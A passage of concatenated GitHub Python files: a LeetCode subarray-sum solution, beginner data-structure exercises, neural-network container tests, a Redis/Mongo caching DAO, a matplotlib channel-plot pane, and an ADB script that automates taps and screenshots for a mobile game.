import defaultdict\nclass Solution:\n def subarraySum(self, nums: List[int], k: int) -> int:\n # 需要注意数组长度为 [1, 20 000]挺大的奥,一般都需要前缀和保存\n n = len(nums)\n preSum = [0] * (n+1)\n for i in range(n):\n preSum[i+1] = preSum[i] + nums[i]\n ans = 0\n # 如何直接这样暴力遍历的话,还是会超时啊,已经很高的复杂度了啊。\n for i in range(1, n+1):\n for j in range(i, n+1):\n if preSum[j] - preSum[i-1] == k:\n ans += 1\n return ans\n\n def subarraySum2(self, nums: List[int], k: int) -> int:\n # 简化时间复杂度啊, 我们用hash表存储前缀和值出现的次数,然后遍历到一个数,我们就计算presum\n # 因为presum - presum2 = k,hash表存储的是presum2出现的次数,那么我们就找 presum-k出现的次数吗\n hashtable = defaultdict()\n hashtable[0] = 1\n preSum = 0\n ans = 0\n for num in nums:\n preSum += num\n if preSum - k in hashtable:\n ans += hashtable[preSum - k]\n hashtable[preSum] = hashtable[preSum] + 1 if preSum in hashtable else 1\n return ans\n\nif __name__ == '__main__':\n solu = Solution()\n nums = [1, 1, 1]\n k = 2\n ans = solu.subarraySum2(nums, k)\n print(ans)","repo_name":"sakurasakura1996/Leetcode","sub_path":"leetcode未归类题目/problem560_和为K的子数组.py","file_name":"problem560_和为K的子数组.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"42086407547","text":"###############################################\r\n# Python Exercises\r\n###############################################\r\n\r\n###############################################\r\n# ASSIGNMENT 1: Check the types of data structures.\r\n###############################################\r\n\r\nx = 8\r\ntype(x)\r\n\r\ny = 3.2\r\ntype(y)\r\n\r\nz = 8j + 18\r\ntype(z)\r\n\r\na = \"Hello World\"\r\ntype(a)\r\n\r\nb = True\r\ntype(b)\r\n\r\nc = 23 < 22\r\ntype(c)\r\n\r\n\r\nl = [1, 2, 3, 4,\"String\",3.2, False]\r\ntype(l)\r\nl[0]=100\r\nl[-2]\r\n# Sıralıdır\r\n# Kapsayıcıdır\r\n# Değiştirilebilir\r\n\r\nd = {\"Name\": \"Jake\",\r\n \"Age\": [27,56],\r\n \"Adress\": \"Downtown\"}\r\ntype(d)\r\n\r\n#py Gained the sequential feature after version 3.7\r\n# Mutable\r\n# Be nested\r\n# Unordered\r\n# Key values are different\r\n\r\n\r\nt = (\"Machine Learning\", \"Data Science\")\r\ntype(t)\r\n\r\n# Unmutable\r\n# Be nested\r\n# Ordered\r\n\r\n\r\ns = {\"Python\", \"Machine Learning\", \"Data Science\",\"Python\"}\r\ntype(s)\r\ns = {\"Python\", \"ML\", \"Data Science\",\"Python\"}\r\n\r\n# Mutable\r\n# Unordered + Unique\r\n# Be nested\r\n\r\n\r\n\r\n###############################################\r\n# ASSIGNMENT 2: Convert all letters of the given string to uppercase. Put space instead of commas and periods, and separate them word by word.\r\n###############################################\r\n\r\n###############################################\r\n# ASSIGNMENT 2: Convert all letters of the given string to uppercase. Put space instead of commas and periods, and separate them word by word.\r\n###############################################\r\n\r\ntext = \"The goal is to turn data into information, and information into insight.\"\r\ntext.upper().replace(\",\",\" \").replace(\".\",\" \").split()\r\n\r\nz = text.upper()\r\nx = z.replace(\",\", \" \")\r\np = x.replace(\".\", \" \")\r\nw = p.split()\r\nw\r\n\r\n\r\n###############################################\r\n# ASSIGNMENT 3: Complete the following tasks for the given list.\r\n###############################################\r\n\r\nlst = [\"D\",\"A\",\"T\",\"A\",\"S\",\"C\",\"I\",\"E\",\"N\",\"C\",\"E\"]\r\n\r\n# Step 1: Check the number of elements of the given list.\r\nlen(lst)\r\n\r\n# Step 2: Call the elements at index zero and ten.\r\nlst[0]\r\nlst[10]\r\n\r\n# Step 3: Create a list [\"D\",\"A\",\"T\",\"A\"] from the given list. \"slicing\"\r\n\r\ndata_list = lst[0:4]\r\ndata_list\r\n\r\n# Step 4: Delete the element in the eighth index.\r\n\r\ndel lst[8]\r\nlst.pop(8)\r\n\r\nlst\r\nlst.remove(\"N\")\r\nlist = list[1:]\r\nlst[8] = \"N\"\r\n\r\n# Adım 5: Add a new element.\r\n\r\nlst.append(101)\r\nlst\r\n\r\n\r\n# Step 6: Add the \"N\" element back to the eighth index.\r\n\r\nlst.insert(8, \"N\")\r\nlst\r\n\r\n\r\n###############################################\r\n# ASSIGNMENT 4: Apply the following steps to the given dictionary structure.\r\n###############################################\r\n\r\ndict = {'Christian': [\"America\",18],\r\n 'Daisy':[\"England\",12],\r\n 'Antonio':[\"Spain\",22],\r\n 'Dante':[\"Italy\",25]}\r\n\r\n\r\n# Step 1: Get the Key values.\r\n\r\ndict.keys()\r\n\r\n# Step 2: Get the Values.\r\n\r\ndict.values()\r\n\r\n# Step 3: Update the value 12 of the Daisy key to 13.\r\n\r\ndict.update({\"Daisy\": [\"England\",13]})\r\ndict\r\n\r\ndict['Daisy'] = [\"England\",13]\r\n\r\ndict[\"Daisy\"][1] = 14\r\ndict[\"Daisy\"][0]=\"UK\"\r\ndict\r\n\r\n\r\n# Step 4: Add a new value whose key value is Ahmet value [Turkey,24].\r\n\r\ndict.update({\"Ahmet\": [\"Turkey\", 24]})\r\ndict\r\n\r\n# Step 5: Delete Antonio from dict.\r\n\r\ndict.pop(\"Antonio\")\r\ndict\r\n\r\ndel(dict[\"Antonio\"])\r\n\r\ndef keys_swap(orig_key, new_key, d):\r\n d[new_key] = d.pop(orig_key)\r\n\r\nkeys_swap(\"Ahmet\",\"Ali\",dict)\r\ndict\r\ndict[\"ali\"]=['America', 18]\r\n\r\ndict[\"aaa\"] = dict.pop(\"ali\")\r\n###############################################\r\n# ASSIGNMENT 5: Write a function that takes a list as an argument, assigns the odd and even numbers in the list to separate lists, and returns these lists.\r\n###############################################\r\n\r\nl = [2,13,18,93,22]\r\n\r\ndef func(list):\r\n\r\n even_list = []\r\n odd_list = []\r\n\r\n for i in list:\r\n if i % 2 == 0:\r\n even_list.append(i)\r\n else:\r\n odd_list.append(i)\r\n\r\n return even_list, odd_list\r\n\r\n\r\neven, odd = func(l)\r\n\r\ndef func(l):\r\n list = [[], []]\r\n for i in l:\r\n if i % 2 == 0:\r\n list[0].append(i)\r\n else:\r\n list[1].append(i)\r\n return(list)\r\n\r\neven_list,odd_list = func(l)\r\n\r\ndef function(x):\r\n odd_list=[]\r\n even_list=[]\r\n for i in x:\r\n if i % 2 == 0:\r\n even_list.append(i)\r\n else:\r\n odd_list.append(i)\r\n return even_list, odd_list\r\nfunction(l)\r\n\r\ndef separate(liste):\r\n even = []\r\n odd = []\r\n [even.append(i) if i%2==0 else odd.append(i) for i in liste]\r\n return(odd, even)\r\n\r\nseparate(l)\r\n\r\n\r\n###############################################\r\n# ASSIGNMENT 6: In the list given below are the names of the students who received degrees in engineering and medicine faculties.\r\n# While the first three students represent the success order of the engineering faculty, the last three students belong to the medical faculty student rank, respectively.\r\n# Print the student's degrees specific to the faculty using Enumarate.\r\n###############################################\r\n\r\nstudents = [\"Ali\",\"Veli\",\"Ayşe\",\"Talat\",\"Zeynep\",\"Ece\"]\r\n\r\n\r\nfor i,x in enumerate(students):\r\n if i<3:\r\n i += 1\r\n print(\"Engineering Faculty\",i,\". student: \",x)\r\n else:\r\n i -= 2\r\n print(\"Medicine Faculty\",i,\". student: \",x)\r\n\r\nfor i,x in enumerate(student):\r\n i -= 2\r\n print(i,x)\r\n\r\n\r\nfor index, student in enumerate(students, 1):\r\n if index < 4:\r\n print(\"Engineering Faculty\", index, \". student:\", student)\r\n else:\r\n print(\"Medicine Faculty\", index-3, \". student:\", student)\r\n\r\na = students[0:3]\r\nb = students[3:]\r\n\r\nfor index, student in enumerate(a, 1):\r\n print(f\"Engineering Faculty {index}. student: {ogrenci}\")\r\nfor index, ogrenci in enumerate(b, 1):\r\n print(f\"Medicine Faculty {index}. student: {student}\")\r\n\r\nfor i, ogrenci in enumerate(ogrenciler, 1):\r\n if i <= 3:\r\n print(\"Engineering Faculty\", i, \". student:\", student)\r\n else:\r\n print(\"Medicine Faculty\", i-3, \". student:\", student)\r\n\r\nEngineering_Faculty=[]\r\nMedicine_Faculty=[]\r\nfaculty=[[],[]]\r\nfor i,x in enumerate(students,1):\r\n if i<4:\r\n fakulte[0].append(x)\r\n print(f\"Engineering Faculty students are {i}: {x}\")\r\n else:\r\n fakulte[1].append(x)\r\n print(f\"Medicine Faculty students are {i-3}: {x}\")\r\n\r\nfor i, student in enumerate(students):\r\n if i < 3:\r\n print(f\"Engineering Faculty {i+1}. student: {student}\")\r\n else:\r\n print(f\"Medicine Faculty {i-2}. student: {student}\")\r\n\r\n###############################################\r\n# ASSIGNMENT 7: Three lists are given below. In the lists, there is a course code, credit and quota information, respectively. Print course information using zip.\r\n###############################################\r\n\r\ncourse_code = [\"CMP1005\",\"PSY1001\",\"HUK1005\",\"SEN2204\"]\r\ncredit = [3,4,2,4]\r\nquota = [30,75,150,25]\r\n\r\nfor course_code, credit, quota in zip(course_code, credit, quota):\r\n print(f\"The quota of the {course_code} coded course with {credit} credits is {quota} people.\")\r\n\r\n\r\n\r\n###############################################\r\n# ASSIGNMENT 8: Below are 2 sets.\r\n# You are asked to define the function that will print the difference of the 2nd set from the 1st set, if the 1st set includes the 2nd set, if it does not cover their common elements.\r\n###############################################\r\n\r\nkume1 = set([\"data\", \"python\"])\r\nkume2 = set([\"data\", \"function\", \"qcut\", \"lambda\", \"python\", \"miuul\"])\r\n\r\n\r\ndef kume(set1,set2):\r\n if set1.issuperset(set2):\r\n print(set1.intersection(set2))\r\n else:\r\n print(set2.difference(set1))\r\n\r\nkume(kume1,kume2)\r\n\r\nkume1 = set([\"data\", \"python\"])\r\nkume2 = set([\"data\", \"function\", \"qcut\", \"lambda\", \"python\", \"miuul\"])\r\n\r\ndef fonksiyon(kume1,kume2):\r\n if kume1.issuperset(kume2) == True:\r\n print(kume1.intersection(kume2))\r\n else:\r\n print(kume2.difference(kume1))\r\n\r\n\r\nfonksiyon(kume1,kume2)\r\n\r\n","repo_name":"seraptacyildiz/my_path__data_science_miuul","sub_path":"0_python/1_python_examples.py","file_name":"1_python_examples.py","file_ext":"py","file_size_in_byte":7973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"8685624479","text":"\"\"\"\nTest nn.container\n\"\"\"\nfrom __future__ import annotations\n\nfrom . import _setup_test_env # noqa\nfrom .returnn_helpers import dummy_run_net, dummy_config_net_dict, dummy_default_in_dim\nfrom builtins import range as range_\nfrom pprint import pprint\nimport typing\n\nif typing.TYPE_CHECKING:\n from .. import nn\nelse:\n from returnn_common import nn # noqa\n\n\ndef test_module_list():\n class _Net(nn.Module):\n def __init__(self):\n super().__init__()\n self.base_dim = nn.FeatureDim(\"linear-out\", 3)\n dims = [self.base_dim + i for i in range_(4)]\n in_dims = [dummy_default_in_dim] + dims[:-1]\n self.ls = nn.ModuleList([nn.Linear(in_dim, out_dim) for in_dim, out_dim in zip(in_dims, dims)])\n\n def __call__(self, out: nn.Tensor) -> nn.Tensor:\n \"\"\"\n Forward\n \"\"\"\n for layer in self.ls:\n out = layer(out)\n return out\n\n config, net_dict, net = dummy_config_net_dict(_Net)\n\n assert net_dict[\"ls\"][\"subnetwork\"][\"0\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:base:data:data\"\n assert net_dict[\"ls\"][\"subnetwork\"][\"1\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:0\"\n assert net_dict[\"ls\"][\"subnetwork\"][\"2\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:1\"\n assert net_dict[\"ls\"][\"subnetwork\"][\"3\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:2\"\n assert net_dict[\"output\"][\"from\"] == \"ls\"\n\n dummy_run_net(config, net=net)\n\n\ndef test_sequential_base_case():\n class _TestSequential(nn.Module):\n def __init__(self):\n super().__init__()\n dims = [nn.FeatureDim(\"feat1\", 1), nn.FeatureDim(\"feat2\", 2), nn.FeatureDim(\"feat3\", 3)]\n in_dims = [dummy_default_in_dim] + dims[:-1]\n self.seq = nn.Sequential(nn.Linear(in_dim, out_dim) for in_dim, out_dim in zip(in_dims, dims))\n\n def __call__(self, data: nn.Tensor) -> nn.Tensor:\n \"\"\"\n Forward\n \"\"\"\n seq = self.seq(data)\n return seq\n\n config, net_dict, net = dummy_config_net_dict(_TestSequential)\n pprint(net_dict)\n\n assert net_dict[\"seq\"][\"subnetwork\"][\"0\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:base:data:data\"\n assert net_dict[\"seq\"][\"subnetwork\"][\"1\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:0\"\n assert net_dict[\"seq\"][\"subnetwork\"][\"2\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:1\"\n assert net_dict[\"seq\"][\"subnetwork\"][\"output\"][\"from\"] == \"2\"\n assert net_dict[\"output\"][\"from\"] == \"seq\"\n\n\ndef test_sequential_named_case():\n class _TestSequential(nn.Module):\n def __init__(self):\n super().__init__()\n from collections import OrderedDict\n\n dims = [nn.FeatureDim(\"linear1-out\", 1), nn.FeatureDim(\"linear2-out\", 2), nn.FeatureDim(\"linear3-out\", 3)]\n x = OrderedDict()\n x[\"one\"] = nn.Linear(dummy_default_in_dim, dims[0])\n x[\"two\"] = nn.Linear(dims[0], dims[1])\n x[\"three\"] = nn.Linear(dims[1], dims[2])\n self.seq = nn.Sequential(x)\n\n def __call__(self, data: nn.Tensor) -> nn.Tensor:\n \"\"\"\n Forward\n \"\"\"\n seq = self.seq(data)\n return seq\n\n config, net_dict, net = dummy_config_net_dict(_TestSequential)\n\n assert net_dict[\"seq\"][\"subnetwork\"][\"one\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:base:data:data\"\n assert net_dict[\"seq\"][\"subnetwork\"][\"two\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:one\"\n assert net_dict[\"seq\"][\"subnetwork\"][\"three\"][\"subnetwork\"][\"dot\"][\"from\"][0] == \"base:two\"\n assert net_dict[\"seq\"][\"subnetwork\"][\"output\"][\"from\"] == \"three\"\n assert net_dict[\"output\"][\"from\"] == \"seq\"\n dummy_run_net(config, net=net)\n\n\ndef test_parameter_list():\n class _TestParameterList(nn.Module):\n def __init__(self):\n super().__init__()\n in_dim = nn.FeatureDim(\"input\", 13)\n self.param_list = nn.ParameterList([nn.Parameter([in_dim]) for _ in range(3)])\n\n def __call__(self, data: nn.Tensor) -> nn.Tensor:\n \"\"\"\n Forward\n \"\"\"\n for param in self.param_list:\n data = nn.combine(data, param, kind=\"add\", allow_broadcast_all_sources=True)\n return data\n\n config, net_dict, net = dummy_config_net_dict(_TestParameterList)\n pprint(net_dict)\n\n dummy_run_net(config, net=net)\n","repo_name":"rwth-i6/returnn_common","sub_path":"tests/test_nn_container.py","file_name":"test_nn_container.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"69"} +{"seq_id":"3349514469","text":"import redis\nimport json\nfrom pymongo import MongoClient\n\n\ndef list_or_args(keys, args):\n try:\n iter(keys)\n if isinstance(keys, (basestring, bytes)):\n keys = [keys]\n except TypeError:\n keys = [keys]\n if args:\n keys.extend(args)\n return keys\n\n\nclass Dao(object):\n def __init__(self, config):\n self._config = config\n\n def __getattr__(self, key):\n if key.startswith(\"mongo_\"):\n impl = MongoClient\n elif key.startswith(\"redis_\"):\n impl = redis.StrictRedis\n elif key.startswith(\"composite_\"):\n impl = CompositeDB\n else:\n super(Dao, self).__getattribute__(key)\n db = impl(**getattr(self._config, \"db_%s\" % key))\n setattr(self, key, db)\n return db\n\n\nclass CompositeDB(object):\n default_expires = 24 * 60 * 60\n\n def __init__(self, mongo_config=None, redis_config=None):\n self._redis = redis.StrictRedis(**redis_config)\n mongo_conn = MongoClient(**mongo_config)\n self._mongo = mongo_conn[mongo_config.dbname][mongo_config.tbname]\n\n def mongo_key(self, key):\n return {\"_id\": str(key)}\n\n def delete(self, key):\n self._mongo.remove(self.mongo_key(key))\n self._redis.delete(key)\n\n def jset(self, key, value):\n self._mongo.update(self.mongo_key(key), {\"$set\": value}, upsert=True)\n self._redis.delete(key)\n\n def jget(self, key, expires=default_expires):\n res = self._redis.get(key)\n if res:\n return json.loads(res)\n self._mongo.find_one(self.mongo_key(key))\n if res is not None:\n del res[\"_id\"]\n self._redis.setex(key, json.dumps(res), expires)\n return res\n\n def rpush(self, key, values):\n values = list_or_args(values, None) \n self._mongo.update(self.mongo_key(key), {\"$push\": {\"list\": { \"$each\" : values }}}, upsert=True)\n self._redis.delete(key)\n\n def __list_pop(self, key, left_or_right=1):\n self._mongo.update(self.mongo_key(key), {\"$pop\": {\"list\": left_or_right}})\n self._redis.delete(key)\n\n def rpop(self, key):\n self.__list_pop(key, 1)\n\n def lpop(self, key):\n self.__list_pop(key, -1)\n\n def lrange(self, key, start, end, expires=default_expires):\n res = self._redis.lrange(key, start, end)\n if res is not None:\n return res\n res = self._mongo.find_one(self.mongo_key(key))\n res = res['list'] if res else []\n self._redis.rpush(key, res)\n self._redis.expire(key, default_expires)\n res = self._redis.lrange(key, start, end)\n return res\n","repo_name":"mikegreen7892003/mainsite","sub_path":"utils/dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":2652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"86585255823","text":"'''\nChannelPane:\n\n'''\n\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport numpy as np\nimport matplotlib.figure as figure\nimport matplotlib.animation as animation\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\ndecs = 1 # number of decimal places to which the written output is rounded\n\nclass ChannelPane(ttk.Frame):\n def __init__(self, graphpanes, mainframe):\n self.graphpanes = graphpanes\n self.num_data_channels = np.size(self.graphpanes.ch_offsets)\n\n super().__init__(master=mainframe, padding = 0)\n self.fig = figure.Figure()\n self.canvas = FigureCanvasTkAgg(self.fig, master=self) \n self.plot_canvas = self.canvas.get_tk_widget()\n\n self.ch_axes = []\n self.ch_lines = [\"\"]*self.num_data_channels\n self.ch_text = []\n self.ch_min = []\n self.ch_max = []\n self.fig.subplots_adjust(left=0.05, right=0.95, hspace = 0.35)\n\n self.plot_width = graphpanes.plot_width\n\n for i in range(self.num_data_channels):\n self.ch_axes.append(self.fig.add_subplot(self.num_data_channels,1,i+1))\n self.ch_text.append(self.ch_axes[i].text(self.plot_width*.1, 0, str(round(self.graphpanes.ch_data[-1][i],decs))+\" \"+str(self.graphpanes.disp_units[i]),fontsize=12, ha = \"right\", va = \"bottom\") )\n self.ch_text[i].set_color(self.graphpanes.ch_colors[i])\n\n self.ch_max.append(self.ch_axes[i].text(-self.plot_width, 1.02 ,\"1.0\",fontsize=8, ha = \"left\", va = \"top\"))\n self.ch_min.append(self.ch_axes[i].text(-self.plot_width, 0, \"0.0\",fontsize=8, ha = \"left\", va = \"bottom\"))\n self.ch_axes[i].set_ylabel(str(self.graphpanes.disp_units[i]),fontsize=10)\n self.ch_axes[i].set_title(self.graphpanes.ch_names[i],fontsize = 10)\n self.ch_axes[i].set_xlim((-self.plot_width, self.plot_width*.1))\n self.ch_axes[i].set_ylim((0, 1.05))\n self.ch_axes[i].set_xticks([-self.graphpanes.plot_width, 0])\n self.ch_axes[i].tick_params(axis = 'x', labelsize=8)\n self.ch_axes[i].set_yticklabels([])\n self.ch_lines[i], = self.ch_axes[i].plot([0],[0],self.graphpanes.ch_colors[i]) \n \n self.canvas.draw()\n self.plot_canvas.configure(background = \"black\")\n\n #self.scrollbar = ttk.Scrollbar(self, orient = 'vertical', command = self.plot_canvas.yview)\n #self.plot_canvas['yscrollcommand'] = self.scrollbar.set\n \n self.plot_canvas.grid(row = 0, column = 1, sticky = 'nsew')\n #self.scrollbar.grid(row = 0, column = 0, sticky = 'nsew')\n self.rowconfigure(0, weight = 1)\n self.columnconfigure(1, weight = 1)\n\n self.ani = animation.FuncAnimation( self.fig, self.animate, interval=self.graphpanes.update_interval, blit=True)\n\n def kill(self):\n self.ani.event_source.stop()\n\n def animate(self, ind):\n self.graphpanes.update_data() # get most recent Quail data\n # Update plots\n for i in range(self.num_data_channels):\n data_to_consider = self.graphpanes.ch_data[-(int)(self.graphpanes.consider_range*self.graphpanes.elements_on_screen):,i]\n lims = ( 0, max(data_to_consider) + 1E-10 )\n # remove old labels\n self.ch_max[i].remove() \n self.ch_min[i].remove()\n # reset ch data and text objects\n self.ch_text[i].set_text(str(round(self.graphpanes.ch_data[-1,i],decs))+\" \"+str(self.graphpanes.disp_units[i]))\n self.ch_text[i].set_position((self.graphpanes.plot_width*.1, 0))\n self.ch_lines[i].set_data(self.graphpanes.time_data - self.graphpanes.curr_time, ( self.graphpanes.ch_data[:,i] + self.graphpanes.ch_offsets[0,i] )/(lims[1] - lims[0]))\n self.ch_max[i] = self.ch_axes[i].text(-self.graphpanes.plot_width, 1.02, str(int(lims[1])),fontsize=8, ha = \"left\", va = \"top\")\n self.ch_min[i] = self.ch_axes[i].text(-self.graphpanes.plot_width, lims[0], str(int(lims[0])),fontsize=8, ha = \"left\", va = \"bottom\")\n #if user has adjusted the plot width, the whole thing need re-done and re-drawn (not just a blit)\n if self.graphpanes.plot_width != self.plot_width: \n self.ch_axes[i].set_title(self.graphpanes.ch_names[i],fontsize = 10)\n self.ch_axes[i].set_xlim((-self.graphpanes.plot_width, self.graphpanes.plot_width*0.1))\n self.ch_axes[i].set_xticks([-self.graphpanes.plot_width, 0])\n self.ch_axes[i].set_ylabel(str(self.graphpanes.disp_units[i]))\n \n if self.graphpanes.plot_width != self.plot_width: \n self.canvas.draw()\n self.plot_width = self.graphpanes.plot_width\n return self.ch_lines + self.ch_text + self.ch_max + self.ch_min\n","repo_name":"stanford-ssi/quail-python-gui","sub_path":"archive/oldGraphingVersion_ChannelPane.py","file_name":"oldGraphingVersion_ChannelPane.py","file_ext":"py","file_size_in_byte":4821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28168132343","text":"x = 5\r\ny = 0\r\n\r\ntry:\r\n print(x/y)\r\nexcept AssertionError as e:\r\n print(\"A\")\r\nexcept EOFError as e:\r\n print(\"e\")\r\nexcept Exception as e:\r\n pass\r\nfinally:\r\n print(\"Finally\")\r\n\r\nprint(\"Done\")\r\n\r\ndata = \"some line of text\\nanother line of text\\n\"\r\nfname = \"text.txt\"\r\nfout = open(fname,\"a\", encoding=\"utf-8\")\r\nfout.write(data)\r\nfout.close()\r\n\r\nfin = open(fname,\"r\",encoding=\"utf-8\")\r\nlines = fin.readlines()\r\nfin.close()\r\nfor l in lines:\r\n print(l)\r\n\r\n","repo_name":"epitchon/MyPy3Test","sub_path":"PycharmProjects/TestEPProject/p5.py","file_name":"p5.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"69974186141","text":"import logging\nimport os\nimport random\nimport shutil\nimport time\nfrom datetime import datetime\nfrom io import BytesIO\n\nfrom PIL import Image, ImageFile\nfrom ppadb.client import Client as AdbClient\n\nfrom constant import SCREEN_PATH, getDeviceSize, setDeviceSize, PAUSE_COUNT, SERVER_TIMES, \\\n MAX_TIME, MIN_TIME, PC_CROP_PARENT_NAME, PC_PROJECT_ROOT, SCREEN_METHOD\nfrom img_match import find_img_position\n\n# 日志输出\nfrom logger import logger as logging\n\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\nbase_x, base_y = 1280, 720\n\ncurrent_count = 0\n\n\ndef initDevice():\n os.system('taskkill /f /im %s' % 'cmd.exe')\n os.system('taskkill /f /im %s' % 'adb.exe')\n\n os.system(\"adb kill-server\")\n os.system(\"adb start-server\")\n global client\n client = AdbClient(host=\"127.0.0.1\", port=5037)\n global device\n device = client.devices()[0]\n\n\ndef init():\n global current_count\n current_count = 0\n find_screen_size()\n\n\ndef convert_cord(x, y):\n device_x = getDeviceSize()[0]\n device_y = getDeviceSize()[1]\n real_x = int(x / base_x * device_x)\n real_y = int(y / base_y * device_y)\n logging.debug(\"坐标转换:{},{}-->{},{}\".format(x, y, real_x, real_y))\n return real_x, real_y\n\n\n# 传固定坐标 以1280参考系位定点 会进行转换\ndef tap_screen_convert(x, y):\n tap_screen(x, y, True)\n\n\n# needConvert 控制是否需要进行分辨率转换\ndef tap_screen(x, y, needConvert=False):\n \"\"\"calculate real x, y according to device resolution.\"\"\"\n real_x, real_y = int(x), int(y)\n if needConvert:\n real_x, real_y = convert_cord(x, y)\n real_x = random.randint(real_x, real_x + 10)\n real_y = random.randint(real_y, real_y + 10)\n device.shell('input tap {} {}'.format(real_x, real_y))\n time.sleep(random.random()) # 随机休眠 无实际用处 用于防止检测?不知道有没有用\n\n\ndef stop_game():\n device.shell('am force-stop com.tencent.tmgp.sgame') # 关闭游戏\n\n\ndef start_game():\n device.shell('monkey -p com.tencent.tmgp.sgame -c android.intent.category.LAUNCHER 1') # 打开游戏\n time.sleep(1)\n pull_screenshot(method=SCREEN_METHOD, save_file=True)\n res = find_img_position()\n if res is None:\n time.sleep(20)\n init()\n\n\ndef restart_game(needSleep=600):\n stop_game()\n\n if needSleep > 0:\n logging.info(\"休息10分钟\")\n time.sleep(needSleep)\n\n logging.info(\"重启游戏\")\n\n start_game()\n tapToStart()\n\n\ndef swipe(x, y, x1, y1, duration):\n device.shell('input swipe {} {} {} {} {}'.format(x, y, x1, y1, duration))\n\n\ndef find_screen_size():\n img = pull_screenshot(method=SCREEN_METHOD, save_file=False)\n x, y = img.size\n setDeviceSize(x, y)\n logging.info('device size x, y = ({}, {})'.format(x, y))\n\n\n# 小米手机可能失败 因为adb shell screencap -p /sdcard/screen.png会生成screen_1616773251284.png类似文件名\ndef pull_screenshot(method=0, save_file=False):\n img = None\n if save_file and os.path.exists(SCREEN_PATH):\n os.remove(SCREEN_PATH)\n if method == 0:\n result = device.screencap()\n img = Image.open(BytesIO(result))\n\n if save_file:\n with open(SCREEN_PATH, \"wb\") as fp:\n fp.write(result)\n elif method == 1:\n pull_screenshot_new()\n elif method == 2:\n pull_screenshot_fix()\n else:\n os.system('adb shell screencap -p /sdcard/{}'.format(SCREEN_PATH)) # adb shell screencap -p /sdcard/screen.png\n os.system('adb pull /sdcard/{} {}'.format(SCREEN_PATH, SCREEN_PATH)) # adb pull /sdcard/screen.png screen.png\n if img is None and not save_file:\n img = Image.open(SCREEN_PATH)\n return img\n\n\ndef pull_screenshot_new():\n os.system('adb exec-out screencap -p > {}'.format(SCREEN_PATH)) # adb exec-out screencap -p > screen.png\n # https://stackoverflow.com/questions/13984017/how-to-capture-the-screen-as-fast-as-possible-through-adb\n # https://stackoverflow.com/questions/13578416/read-binary-stdout-data-from-adb-shell\n\n\ndef pull_screenshot_fix():\n if os.path.exists(PC_CROP_PARENT_NAME):\n shutil.rmtree(PC_CROP_PARENT_NAME)\n\n os.system('adb shell rm -r /sdcard/{}'.format(PC_CROP_PARENT_NAME))\n os.system('adb shell mkdir /sdcard/{}'.format(PC_CROP_PARENT_NAME))\n os.system('adb shell screencap -p /sdcard/{}/{}'.format(PC_CROP_PARENT_NAME, SCREEN_PATH)) # 此处文件名不一定匹配\n os.system('adb pull /sdcard/{} {}'.format(PC_CROP_PARENT_NAME, PC_PROJECT_ROOT))\n\n file_name = os.listdir(PC_CROP_PARENT_NAME)\n shutil.copy('{0}/{1}'.format(PC_CROP_PARENT_NAME, file_name[0]), SCREEN_PATH)\n\n\ndef startToHome():\n noDialogCount = 0\n while noDialogCount < 3: # 连续三次检测不到弹窗、选区\n try:\n pull_screenshot(method=SCREEN_METHOD, save_file=True)\n res = find_img_position()\n if res is None:\n noDialogCount += 1\n time.sleep(5)\n elif res[0].startswith(\"z_choose_region\"):\n noDialogCount = 0\n tap_screen(res[1], res[2])\n time.sleep(5)\n elif res[0].startswith(\"b_close_pop\"):\n noDialogCount = 0\n tap_screen(res[1], res[2]) # X掉开始的活动广告\n time.sleep(1)\n else:\n noDialogCount += 1\n time.sleep(3)\n except Exception as e:\n print(e)\n\n logging.debug(\"关闭弹窗结束\")\n\n\ndef check_game_state(waitTime=None):\n startToHome()\n speed_time = datetime.now()\n global current_count\n error_count = 0\n fast_count = 0\n\n while True:\n try:\n if (datetime.now() - speed_time).seconds > MAX_TIME:\n logging.warning(\"异常卡住,结束游戏\")\n speed_time = datetime.now()\n restart_game(needSleep=0)\n continue\n pull_screenshot(method=SCREEN_METHOD, save_file=True)\n\n res = find_img_position() # 这里容易出错\n error_count = 0\n if res is not None: # 正常匹配\n name = res[0]\n if name.startswith(\"b_finish\"): # 超出上限\n stop_game()\n logging.warning(\"超出上限\")\n if waitTime is not None:\n waitTime.value = -1\n break\n elif name.startswith(\"a_relax\"): # 妲己提示休息\n logging.warning(\"妲己提示休息,休息十分钟\")\n if waitTime is not None:\n waitTime.value = 1\n restart_game()\n if waitTime is not None:\n waitTime.value = 0\n elif name.startswith(\"crop_restart\"):\n seconds = (datetime.now() - speed_time).seconds\n speed_time = datetime.now()\n if seconds >= MIN_TIME: # 防止卡在结算界面,重复计算成功次数\n fast_count = 0\n current_count = current_count + 1\n logging.info(\"已运行{}次,本次时间{}秒\".format(current_count, seconds))\n if current_count % SERVER_TIMES == 0:\n logging.warning(\"已运行{}次\".format(current_count))\n\n if 0 < PAUSE_COUNT < current_count:\n logging.warning(\"间隔休息十分钟\")\n if waitTime is not None:\n waitTime.value = 1\n restart_game()\n if waitTime is not None:\n waitTime.value = 0\n else:\n fast_count = fast_count + 1\n if fast_count > 10:\n logging.warning(\"错误次数过多(过快)\")\n 